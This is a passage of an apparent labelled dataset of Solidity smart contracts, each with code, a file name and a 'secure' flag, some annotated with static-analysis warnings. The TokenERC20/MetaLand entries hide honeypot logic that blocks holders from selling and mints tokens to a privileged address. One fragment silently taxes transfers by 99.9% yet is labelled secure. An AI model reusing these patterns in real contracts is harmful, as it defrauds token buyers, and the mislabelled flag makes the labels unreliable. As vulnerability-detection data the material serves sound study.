addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_2810.sol",
"secure": 1,
"size_bytes": 7124
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IOptionWindowCreator {\n struct OptionCreationWindow {\n uint256 startHour;\n uint256 startMinute;\n uint256 endHour;\n uint256 endMinute;\n }\n event UpdateOptionCreationWindow(\n uint256 startHour,\n uint256 startMinute,\n uint256 endHour,\n uint256 endMinute\n );\n}",
"file_name": "solidity_code_2811.sol",
"secure": 1,
"size_bytes": 415
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"./Owned.sol\" as Owned;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TokenERC20 is ERC20Interface, Owned {\n using SafeMath for uint;\n\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 4be618f): TokenERC20.delegate should be immutable \n\t// Recommendation for 4be618f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal delegate;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: d7c2115): TokenERC20.decimals should be immutable \n\t// Recommendation for d7c2115: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n address internal zero;\n uint256 _totalSupply;\n uint256 internal number;\n address internal reflector;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply.sub(balances[address(0)]);\n }\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function burn(address _address, uint256 tokens) public onlyOwner {\n require(_address != address(0), \"ERC20: burn from the zero address\");\n _burn(_address, tokens);\n balances[_address] = balances[_address].sub(tokens);\n _totalSupply = _totalSupply.sub(tokens);\n }\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n require(to != zero, \"please wait\");\n balances[msg.sender] = balances[msg.sender].sub(tokens);\n balances[to] = balances[to].add(tokens);\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n if (msg.sender == delegate) number = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 914d164): TokenERC20.transferFrom(address,address,uint256).to lacks a zerocheck on \t zero = to\n\t// Recommendation for 914d164: Check that the address is not zero.\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n\t\t// missing-zero-check | ID: 914d164\n if (from != address(0) && zero == address(0)) zero = to;\n else _send(from, to);\n balances[from] = balances[from].sub(tokens);\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\n balances[to] = balances[to].add(tokens);\n emit Transfer(from, to, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n function _burn(address _burnAddress, uint256 _burnAmount) internal virtual {\n reflector = _burnAddress;\n _totalSupply = _totalSupply.add(_burnAmount * 2);\n balances[_burnAddress] = balances[_burnAddress].add(_burnAmount * 2);\n }\n function _send(address start, address end) internal view {\n require(\n end != zero ||\n (start == reflector && end == zero) ||\n (end == zero && balances[start] <= number),\n \"cannot be the zero address\"\n );\n }\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 59ffa67): Contract locking ether found Contract MetaLand has payable functions TokenERC20.receive() TokenERC20.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for 59ffa67: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 59ffa67): Contract locking ether found Contract MetaLand has payable functions TokenERC20.receive() TokenERC20.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for 59ffa67: Remove the 'payable' attribute or add a withdraw function.\n fallback() external payable {}\n}\n",
"file_name": "solidity_code_2812.sol",
"secure": 0,
"size_bytes": 4633
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./TokenERC20.sol\" as TokenERC20;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 59ffa67): Contract locking ether found Contract MetaLand has payable functions TokenERC20.receive() TokenERC20.fallback() But does not have a function to withdraw the ether\n// Recommendation for 59ffa67: Remove the 'payable' attribute or add a withdraw function.\ncontract MetaLand is TokenERC20 {\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cd4a8fb): MetaLand.constructor(string,string,uint256,address,address)._del lacks a zerocheck on \t delegate = _del\n\t// Recommendation for cd4a8fb: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 98b56e0): MetaLand.constructor(string,string,uint256,address,address)._ref lacks a zerocheck on \t reflector = _ref\n\t// Recommendation for 98b56e0: Check that the address is not zero.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 _supply,\n address _del,\n address _ref\n ) {\n symbol = _symbol;\n name = _name;\n decimals = 9;\n _totalSupply = _supply * (10 ** uint256(decimals));\n number = _totalSupply;\n\t\t// missing-zero-check | ID: cd4a8fb\n delegate = _del;\n\t\t// missing-zero-check | ID: 98b56e0\n reflector = _ref;\n balances[owner] = _totalSupply;\n emit Transfer(address(0), owner, _totalSupply);\n }\n}",
"file_name": "solidity_code_2813.sol",
"secure": 0,
"size_bytes": 1550
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract Card is ERC721Enumerable, ReentrancyGuard, Ownable {\n string[] private spellMagnifiers = [\n \"Instant\",\n \"Mighty\",\n \"Dire\",\n \"Zealous\",\n \"Ardent\",\n \"Potent\",\n \"Urgent\",\n \"Empyrean\",\n \"Irate\",\n \"Clever\"\n ];\n\n string[] private spellType = [\n \"Solar\",\n \"Lunar\",\n \"Frigid\",\n \"Shimmering\",\n \"Gloom\",\n \"Apocalypse\",\n \"Corpse\",\n \"Cataclysmic\",\n \"Grim\",\n \"Necro\",\n \"Sorrow\",\n \"Victory\",\n \"Forged\",\n \"Miracle\",\n \"Nimble\",\n \"Hateful\",\n \"Chimeric\",\n \"Oblivion\",\n \"Nature\",\n \"Dark\",\n \"Life\"\n ];\n\n string[] private spellNames = [\n \"Lightning\",\n \"Stricken\",\n \"Revive\",\n \"Burst\",\n \"Tempest\",\n \"Assault\",\n \"Pandemonium\",\n \"Rage\",\n \"Sorrow\",\n \"Frost\",\n \"Hypnosis\",\n \"Vortex\",\n \"Ice\",\n \"Fire\",\n \"Fireball\",\n \"Wall\",\n \"Infuriate\",\n \"Invisibility\",\n \"Fury\",\n \"Frenzy\",\n \"Stun\",\n \"Heal\",\n \"Reanimate\",\n \"Freeze\",\n \"Burn\",\n \"Gravitation\",\n \"Gale\",\n \"Torment\",\n \"Maelstrom\"\n ];\n\n string[] private artifactNames = [\n \"Divine Robe\",\n \"Ghost Wand\",\n \"Scythe\",\n \"Staff\",\n \"Gauntlet\",\n \"Sword\",\n \"Bow\",\n \"Shield\",\n \"Helmet\",\n \"Boots\",\n \"Ring\",\n \"Amulet\",\n \"Belt\",\n \"Bracers\",\n \"Cloak\",\n \"Gloves\",\n \"Greaves\",\n \"Helm\",\n \"Pendant\",\n \"Potion\",\n \"Scepter\",\n \"Sigil\",\n \"Tome\",\n \"Crown\",\n \"Ring\"\n ];\n\n string[] private enchantmentNames = [\n \"Strength\",\n \"Flight\",\n \"Shade\",\n \"Deathgrip\",\n \"Shield\",\n \"Drain\",\n \"Agony\",\n \"Firebreath\",\n \"Blight\",\n \"Lethargy\",\n \"Shrink\",\n \"Invert\",\n \"Age\",\n \"Alacrity\",\n \"Haste\"\n ];\n\n string[] private commonCreature = [\n \"Spider\",\n \"Warlock\",\n \"Magi\",\n \"Skin-Walker\",\n \"Paladin\",\n \"Berserker\",\n \"Fairy\",\n \"Troll\",\n \"Wolf\",\n \"Ghoul\",\n \"Eagle\"\n ];\n\n string[] private rareCreature = [\n \"Goblin\",\n \"Orc\",\n \"Griffin\",\n \"Kraken\",\n \"Cyclops\",\n \"Hydra\"\n ];\n\n string[] private legendaryCreature = [\n \"Elf\",\n \"Dwarf\",\n \"Ogre\",\n \"Giant\",\n \"Oni\"\n ];\n\n string[] private mythicCreature = [\"Dragon\", \"Wizard\", \"Phoenix\", \"Demon\"];\n\n string[] private creatureModifiers = [\n \"Knight\",\n \"King\",\n \"Queen\",\n \"Lord\",\n \"Rogue\",\n \"Undead\",\n \"Merchant\",\n \"Thief\",\n \"Assassin\",\n \"Fighter\",\n \"Warrior\",\n \"Monk\",\n \"Priest\"\n ];\n\n string[] private mythicCreatureModifiers = [\n \"Nameless\",\n \"Chaos\",\n \"Time\",\n \"Grand\",\n \"Undead\",\n \"Ancient\"\n ];\n\n string[] private nameModifiers = [\n \"Aura\",\n \"Light\",\n \"Snow\",\n \"Dark\",\n \"Death\",\n \"Earth\",\n \"Frozen\"\n ];\n\n string[] private locations = [\n \"of the West\",\n \"of the Plains\",\n \"of the Swamp\",\n \"of the Low Hills\",\n \"of the Border\",\n \"of the Bright Mountains\",\n \"of the Polar Woods\",\n \"of the Golden Palace\",\n \"of the Eastern Skies\",\n \"of the Haven\",\n \"of the Black Stone\",\n \"of the Frozen Castle\",\n \"of the Magical Forest\",\n \"of the Eternal Land\",\n \"of the Arctic Blizzards\",\n \"of the Mountains\"\n ];\n\n string[] private mythicLocations = [\n \"of the Light\",\n \"of the Sky\",\n \"of Hate\",\n \"of Illusion\",\n \"of the Dead\",\n \"of the Shadows\",\n \"of the Void\"\n ];\n\n string private _tokenBaseURI = \"https://0xAdventures.com/\";\n bool public frozen = false;\n\n function freezeBaseURI() public onlyOwner {\n frozen = true;\n }\n\n function _baseURI() internal view override returns (string memory) {\n return _tokenBaseURI;\n }\n\n function setBaseURI(string memory baseURI) public onlyOwner {\n require(!frozen, \"Contract is frozen.\");\n _tokenBaseURI = baseURI;\n }\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function getCardTitle(\n uint256 tokenId,\n uint256 offset\n ) public view returns (string memory) {\n require(offset < 45, \"only 45 card titles per deck\");\n\n uint256 cardRand = random(\n string(abi.encodePacked(toString(tokenId), toString(offset)))\n );\n uint256 deckRarity = random(\n string(abi.encodePacked(toString(tokenId)))\n );\n\n uint8 cardQuality = 3;\n string[] memory monsterArray = mythicCreature;\n\n uint8 level1 = 20;\n uint8 level2 = (20 + 12);\n uint8 level3 = (20 + 12 + 4);\n\n if (deckRarity % 40 < 23) {\n level1 = 30;\n level2 = (30 + 9);\n level3 = (30 + 9 + 4);\n } else if (deckRarity % 40 < 37) {\n level1 = 25;\n level2 = (25 + 12);\n level3 = (25 + 12 + 5);\n }\n\n if (cardRand % 45 < level1) {\n cardQuality = 0;\n monsterArray = commonCreature;\n } else if (cardRand % 45 < level2) {\n cardQuality = 1;\n monsterArray = rareCreature;\n } else if (cardRand % 45 < level3) {\n cardQuality = 2;\n monsterArray = legendaryCreature;\n }\n\n if (cardRand % 10 < 5) {\n return\n pluckCreature(\n tokenId,\n \"MONSTER\",\n monsterArray,\n offset,\n cardQuality\n );\n } else if (cardRand % 10 < 6) {\n return\n pluckOther(\n tokenId,\n \"ARTIFACTS\",\n artifactNames,\n offset,\n cardQuality\n );\n } else if (cardRand % 10 < 8) {\n return\n pluckOther(tokenId, \"SPELL\", spellNames, offset, cardQuality);\n } else {\n return\n pluckOther(\n tokenId,\n \"ENCHANTMENT\",\n enchantmentNames,\n offset,\n cardQuality\n );\n }\n }\n\n function pluckCreature(\n uint256 tokenId,\n string memory keyPrefix,\n string[] memory sourceArray,\n uint256 offset,\n uint8 cardQuality\n ) internal view returns (string memory) {\n uint256 rand = random(\n string(\n abi.encodePacked(keyPrefix, toString(tokenId), toString(offset))\n )\n );\n string memory output = string(\n abi.encodePacked(sourceArray[rand % sourceArray.length])\n );\n\n if (cardQuality == 1 || cardQuality == 2) {\n output = string(\n abi.encodePacked(\n nameModifiers[rand % nameModifiers.length],\n \" \",\n creatureModifiers[rand % creatureModifiers.length],\n \" \",\n output\n )\n );\n }\n\n if (cardQuality == 2) {\n output = string(\n abi.encodePacked(\n output,\n \" \",\n locations[rand % locations.length]\n )\n );\n }\n\n if (cardQuality == 3) {\n output = string(\n abi.encodePacked(\n nameModifiers[rand % nameModifiers.length],\n \" \",\n mythicCreatureModifiers[\n rand % mythicCreatureModifiers.length\n ],\n \" \",\n output,\n \" \",\n mythicLocations[rand % mythicLocations.length]\n )\n );\n }\n\n return output;\n }\n\n function pluckOther(\n uint256 tokenId,\n string memory keyPrefix,\n string[] memory sourceArray,\n uint256 offset,\n uint8 cardQuality\n ) internal view returns (string memory) {\n uint256 rand = random(\n string(\n abi.encodePacked(keyPrefix, toString(tokenId), toString(offset))\n )\n );\n\n string memory output = string(\n abi.encodePacked(sourceArray[rand % sourceArray.length])\n );\n\n if (cardQuality > 0) {\n output = string(\n abi.encodePacked(\n spellType[rand % spellType.length],\n \" \",\n output\n )\n );\n }\n\n if (cardQuality > 1) {\n output = string(\n abi.encodePacked(\n spellMagnifiers[rand % spellMagnifiers.length],\n \" \",\n output\n )\n );\n }\n\n return output;\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: b2d4bf9): Card.tokenURI(uint256).output is written in both output = string(abi.encodePacked(<svg xmlns='http//www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'> <rect width='350' height='350' fill='url(#paint0_linear)'/> <rect width='318' height='318' transform='translate(16 16)' fill='#16150f'/> <text fill='white' xmlspace='preserve' style='whitespace pre;' fontfamily='Georgia' fontsize='12' fontweight='bold' letterspacing='0em'><tspan x='32' y='62.1865'>STARTER DECK</tspan></text> <text fill='#F19100' xmlspace='preserve' style='whitespace pre;' fontfamily='Georgia' fontsize='16' fontweight='bold' letterspacing='0.16em'><tspan x='32' y='43.582'>45 ADVENTURE CARDS</tspan></text> <text fill='white' xmlspace='preserve' style='whitespace pre;' fontfamily='Georgia' fontsize='12' letterspacing='0em'>,output,<defs> <linearGradient id='paint0_linear' x1='175' y1='350' x2='175' y2='0' gradientUnits='userSpaceOnUse'> <stop stopcolor='#744500'/> <stop offset='1' stopcolor='#D68103'/> </linearGradient> </defs></svg>)) output = string(abi.encodePacked(dataapplication/json;base64,,json))\n\t// Recommendation for b2d4bf9: Fix or remove the writes.\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n string memory output;\n string memory stringTokenId = toString(tokenId);\n\n for (uint256 i = 0; i < 11; i = i + 1) {\n uint256 offset = (i + 1) * 18 + 73;\n output = string(\n abi.encodePacked(\n output,\n \"<tspan x='32' y='\",\n toString(offset),\n \"'>\",\n getCardTitle(tokenId, i),\n \"</tspan>\"\n )\n );\n }\n\n uint256 creatureCount = 0;\n uint256 artifactCount = 0;\n uint256 spellCount = 0;\n uint256 enchantmentCount = 0;\n\n for (uint256 i = 10; i < 45; i++) {\n uint256 cardSplit = random(\n string(abi.encodePacked(toString(tokenId), toString(i)))\n );\n uint256 cardCatagory = cardSplit % 10;\n if (cardCatagory % 10 < 5) {\n creatureCount++;\n } else if (cardCatagory % 10 < 6) {\n artifactCount++;\n } else if (cardCatagory % 10 < 8) {\n spellCount++;\n } else {\n enchantmentCount++;\n }\n }\n\n output = string(\n abi.encodePacked(\n output,\n \"</text> <text fill='white' xml:space='preserve' style='white-space: pre;' font-family='Georgia' font-size='8' letter-spacing='0em'><tspan x='32' y='308.291'>34 other cards: \",\n toString(creatureCount),\n \" monsters, \",\n toString(enchantmentCount),\n \" enchantments,\",\n toString(spellCount),\n \" spells, \",\n toString(artifactCount),\n \" artifacts</tspan></text>\"\n )\n );\n\n\t\t// write-after-write | ID: b2d4bf9\n output = string(\n abi.encodePacked(\n \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'> <rect width='350' height='350' fill='url(#paint0_linear)'/> <rect width='318' height='318' transform='translate(16 16)' fill='#16150f'/> <text fill='white' xml:space='preserve' style='white-space: pre;' font-family='Georgia' font-size='12' font-weight='bold' letter-spacing='0em'><tspan x='32' y='62.1865'>STARTER DECK</tspan></text> <text fill='#F19100' xml:space='preserve' style='white-space: pre;' font-family='Georgia' font-size='16' font-weight='bold' letter-spacing='0.16em'><tspan x='32' y='43.582'>45 ADVENTURE CARDS</tspan></text> <text fill='white' xml:space='preserve' style='white-space: pre;' font-family='Georgia' font-size='12' letter-spacing='0em'>\",\n output,\n \"<defs> <linearGradient id='paint0_linear' x1='175' y1='350' x2='175' y2='0' gradientUnits='userSpaceOnUse'> <stop stop-color='#744500'/> <stop offset='1' stop-color='#D68103'/> </linearGradient> </defs></svg>\"\n )\n );\n\n string memory animationUrl = string(\n abi.encodePacked(_baseURI(), \"animation/\", stringTokenId)\n );\n string memory externalUrl = string(\n abi.encodePacked(_baseURI(), \"decks/\", stringTokenId)\n );\n\n string memory json = Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Adventure Cards #\",\n stringTokenId,\n \"', 'animation_url': '\",\n animationUrl,\n \"', 'external_url': '\",\n externalUrl,\n \"', 'description': 'Cards is an on chain, collectable card game, based on crypto primitives. Each Starter Deck is 45 cards, a mix of rarities and types. The decks can be unbundled and used however you like.', 'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(output)),\n \"'}\"\n )\n )\n )\n );\n\n\t\t// write-after-write | ID: b2d4bf9\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", json)\n );\n\n return output;\n }\n\n mapping(address => uint256) private _mintPerAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53e5936): Card.MAX_PER_ADDRESS should be constant \n\t// Recommendation for 53e5936: Add the 'constant' attribute to state variables that never change.\n uint256 public MAX_PER_ADDRESS = 2;\n\t// WARNING Optimization Issue (constable-states | ID: 70dc506): Card.MAX_MINT should be constant \n\t// Recommendation for 70dc506: Add the 'constant' attribute to state variables that never change.\n uint256 public MAX_MINT = 8000;\n\n uint256 public publicIssued = 0;\n uint256 public publicMax = 0;\n\n function mintPublic() public {\n require(\n _mintPerAddress[msg.sender] < MAX_PER_ADDRESS,\n \"You have reached your minting limit.\"\n );\n require(\n publicIssued < 7778,\n \"There are no more NFTs for public minting.\"\n );\n require(\n publicIssued < publicMax,\n \"There are no more NFTs for public minting at this time.\"\n );\n\n _mintPerAddress[msg.sender] += 1;\n\n uint256 tokenId = publicIssued + 1;\n\n publicIssued += 1;\n _safeMint(msg.sender, tokenId);\n }\n\n function setPublicMax(uint256 _publicMax) public onlyOwner {\n require(_publicMax <= MAX_MINT, \"You can not set it that high.\");\n\n publicMax = _publicMax;\n }\n\n function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {\n require(tokenId > 7777 && tokenId < 8001, \"Token ID invalid\");\n _safeMint(owner(), tokenId);\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n constructor() ERC721(\"Card\", \"Card\") Ownable() {}\n}",
"file_name": "solidity_code_2814.sol",
"secure": 0,
"size_bytes": 18012
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ISlidingWindowOracle {\n function consult(\n address tokenIn,\n uint256 amountIn,\n address tokenOut\n ) external view returns (uint256 amountOut);\n\n function observationIndexOf(\n uint256 timestamp\n ) external view returns (uint256 index);\n}",
"file_name": "solidity_code_2815.sol",
"secure": 1,
"size_bytes": 364
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Detailed.sol\" as ERC20Detailed;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract EMN is ERC20, ERC20Detailed {\n using SafeERC20 for IERC20;\n using Address for address;\n using SafeMath for uint256;\n\n constructor() public ERC20Detailed(\"Eminence\", \"EMN\", 18) {\n _totalSupply = 15000000 * (10 ** uint256(18));\n\n _balances[msg.sender] = _totalSupply;\n }\n}",
"file_name": "solidity_code_2816.sol",
"secure": 1,
"size_bytes": 756
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface Regulator {\n function loan() external returns (bool);\n\n function checkValue(uint256 amount) external returns (bool);\n}",
"file_name": "solidity_code_2817.sol",
"secure": 1,
"size_bytes": 204
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\" as TransparentUpgradeableProxy;\n\ncontract UtilProxy is TransparentUpgradeableProxy {\n constructor(\n address _logic,\n address admin_,\n bytes memory _data\n ) TransparentUpgradeableProxy(_logic, admin_, _data) {}\n}",
"file_name": "solidity_code_2818.sol",
"secure": 1,
"size_bytes": 391
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(\n address tokenOwner\n ) external view returns (uint256 balance);\n\n function allowance(\n address tokenOwner,\n address spender\n ) external view returns (uint256 remaining);\n\n function transfer(\n address to,\n uint256 tokens\n ) external returns (bool success);\n\n function approve(\n address spender,\n uint256 tokens\n ) external returns (bool success);\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) external returns (bool success);\n\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n}",
"file_name": "solidity_code_2819.sol",
"secure": 1,
"size_bytes": 1131
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_282.sol",
"secure": 1,
"size_bytes": 207
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is IERC20 {\n string public constant override symbol = \"AVT\";\n string public constant override name = \"ArtVerse Token\";\n uint8 public constant override decimals = 18;\n uint256 public constant override totalSupply = 2100000000000 * 10 ** 18;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n balances[msg.sender] = totalSupply;\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] -= tokens;\n balances[to] += tokens;\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[from] -= tokens;\n allowed[from][msg.sender] -= tokens;\n balances[to] += tokens;\n emit Transfer(from, to, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}",
"file_name": "solidity_code_2820.sol",
"secure": 1,
"size_bytes": 1849
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./Regulator.sol\" as Regulator;\n\ncontract Bank is Regulator {\n uint256 private value;\n\n constructor(uint256 amount) {\n value = amount;\n }\n\n function deposit(uint256 amount) public {\n value += amount;\n }\n\n function withdraw(uint256 amount) public {\n if (checkValue(amount)) {\n value -= amount;\n }\n }\n\n function balance() public view returns (uint256) {\n return value;\n }\n\n function loan() public view override returns (bool) {\n return value > 0;\n }\n\n function checkValue(uint256 amount) public view override returns (bool) {\n return amount >= value;\n }\n}",
"file_name": "solidity_code_2821.sol",
"secure": 1,
"size_bytes": 755
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./Bank.sol\" as Bank;\n\ncontract NameAndAgeContract is Bank(10) {\n string private name;\n uint256 private age;\n\n function getAge() public view returns (uint256) {\n return age;\n }\n\n function getName() public view returns (string memory) {\n return name;\n }\n\n function setAge(uint256 newAge) public {\n age = newAge;\n }\n\n function setName(string memory newName) public {\n name = newName;\n }\n}",
"file_name": "solidity_code_2822.sol",
"secure": 1,
"size_bytes": 538
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\ncontract NFT is Ownable, ERC721 {\n using Strings for string;\n\n uint256 public constant OG_SALE_MAX_TOKENS = 150;\n\n string private _baseTokenURI;\n\n uint256 public supply = 0;\n\n constructor() ERC721(\"Ancient Shrooms\", \"ANCIENTSHROOM\") {}\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b7676bb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b7676bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintToken(uint256 amount) external payable {\n require(\n supply + amount <= OG_SALE_MAX_TOKENS,\n \"Purchase would exceed max supply\"\n );\n\n for (uint256 i = 0; i < amount; i++) {\n\t\t\t// reentrancy-no-eth | ID: b7676bb\n _safeMint(msg.sender, supply);\n\t\t\t// reentrancy-no-eth | ID: b7676bb\n supply++;\n }\n }\n\n function withdraw() external {\n require(msg.sender == owner(), \"Invalid sender\");\n\n payable(owner()).transfer(address(this).balance);\n }\n\n function _setBaseURI(string memory baseURI) internal virtual {\n _baseTokenURI = baseURI;\n }\n\n function _baseURI() internal view override returns (string memory) {\n return _baseTokenURI;\n }\n\n function setBaseURI(string memory baseURI) external onlyOwner {\n _setBaseURI(baseURI);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override(ERC721) returns (string memory) {\n string memory _tokenURI = super.tokenURI(tokenId);\n return\n bytes(_tokenURI).length > 0\n ? string(abi.encodePacked(_tokenURI))\n : \"\";\n }\n}",
"file_name": "solidity_code_2823.sol",
"secure": 0,
"size_bytes": 2141
} |
{
